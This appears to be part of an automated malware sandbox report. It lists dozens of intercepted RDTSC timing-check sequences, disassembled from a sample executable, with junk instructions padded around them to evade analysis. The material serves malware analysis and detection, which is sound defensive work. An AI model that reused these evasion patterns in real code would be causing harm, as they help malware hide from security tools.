Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFCD3 second address: BAFCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFCD7 second address: BAFCDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFF82 second address: BAFF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BB00E0 second address: BB00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BB48A6 second address: BB48AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BB48AA second address: BB48DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA5CCB7DECBh 0x0000000d pushad 0x0000000e js 00007FA5CCB7DEC8h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 jnc 00007FA5CCB7DEC6h 0x0000001d jmp 00007FA5CCB7DECAh 0x00000022 popad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BB48DB second address: BB48F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA5CCB52626h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 ja 00007FA5CCB52626h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBA3E8 second address: BBA3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBAA07 second address: BBAA0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBAA0F second address: BBAA15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBAD0D second address: BBAD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBAD15 second address: BBAD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBB56C second address: BBB57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007FA5CCB5262Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBB57D second address: BBB58F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBB58F second address: BBB5BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52636h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA5CCB52633h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBB5BE second address: BBB5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBBA9D second address: BBBABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jne 00007FA5CCB52632h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBBABB second address: BBBABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBC112 second address: BBC118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBC118 second address: BBC11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBC11E second address: BBC122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBC122 second address: BBC126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBC126 second address: BBC12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF28F second address: BBF29E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FA5CCB7DEC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF29E second address: BBF2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 ja 00007FA5CCB5262Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF2B5 second address: BBF2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF538 second address: BBF53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF53C second address: BBF55A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FA5CCB7DED4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BBF55A second address: BBF55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD5B8 second address: BCD5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD6F7 second address: BCD724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA5CCB5262Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FA5CCB52639h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD724 second address: BCD73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnc 00007FA5CCB7DEC6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD73A second address: BCD73F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD73F second address: BCD762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FA5CCB7DEC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCD8BD second address: BCD8C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCE1D8 second address: BCE1E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCE1E2 second address: BCE1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCE1E8 second address: BCE20C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA5CCB7DEC6h 0x00000008 jmp 00007FA5CCB7DED6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCE20C second address: BCE210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BCC88B second address: BCC892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE069E second address: BE06B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB5262Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE06B1 second address: BE06BB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB7DEC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE06BB second address: BE06CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FA5CCB5262Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE06CB second address: BE06D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE023B second address: BE023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE023F second address: BE0245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE0245 second address: BE0251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE0251 second address: BE0257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE0257 second address: BE025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE376B second address: BE3771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE6188 second address: BE6192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE6192 second address: BE61A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BE5D09 second address: BE5D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BF3D5E second address: BF3D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA5CCB7DEC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BF3D6A second address: BF3D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BF3D6F second address: BF3D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BF3D75 second address: BF3D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FA5CCB5262Dh 0x0000000e jnl 00007FA5CCB52626h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C01089 second address: C0108D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C0108D second address: C01091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C01091 second address: C010A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FA5CCB7DECEh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C011F2 second address: C01201 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FA5CCB52626h 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C01393 second address: C013C8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA5CCB7DEC6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA5CCB7DED3h 0x00000013 jmp 00007FA5CCB7DED4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C017BE second address: C017D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52637h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C017D9 second address: C017EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA5CCB7DECCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C01933 second address: C01954 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA5CCB5262Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FA5CCB5262Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C01954 second address: C0196A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA5CCB7DECBh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C0534A second address: C0535B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C0535B second address: C05363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C04EA0 second address: C04EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C04EA4 second address: C04EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C04EA8 second address: C04EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA5CCB5262Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C04EBE second address: C04EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C0503C second address: C05070 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jnl 00007FA5CCB52643h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C08CB5 second address: C08CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C12A94 second address: C12A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C12A9A second address: C12AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C2818F second address: C28194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C27EFF second address: C27F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3F8F9 second address: C3F8FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3F8FD second address: C3F91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3F91D second address: C3F93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FA5CCB52645h 0x0000000b jmp 00007FA5CCB52631h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3F93C second address: C3F942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3FBB4 second address: C3FBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C3FE70 second address: C3FE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C4029E second address: C402DB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA5CCB52640h 0x00000008 jmp 00007FA5CCB5262Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FA5CCB52628h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C40579 second address: C40590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007FA5CCB7DED2h 0x0000000b jl 00007FA5CCB7DEC6h 0x00000011 jc 00007FA5CCB7DEC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C43388 second address: C4338C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C438C4 second address: C438C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C438C9 second address: C438D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FA5CCB52626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C438D4 second address: C438E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FA5CCB7DEC8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C438E6 second address: C438EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C438EB second address: C43946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA5CCB7DEC6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122DB3ECh], edx 0x00000014 push dword ptr [ebp+122D1FD0h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FA5CCB7DEC8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jl 00007FA5CCB7DECCh 0x0000003a mov edx, dword ptr [ebp+122D3319h] 0x00000040 and edx, dword ptr [ebp+122D33D1h] 0x00000046 push C5BAC5A1h 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FA5CCB7DECAh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C46321 second address: C4632C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FA5CCB52626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: C4632C second address: C46339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007FA5CCB7DED2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 53001B5 second address: 53001DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA5CCB5262Dh 0x00000011 rdtsc
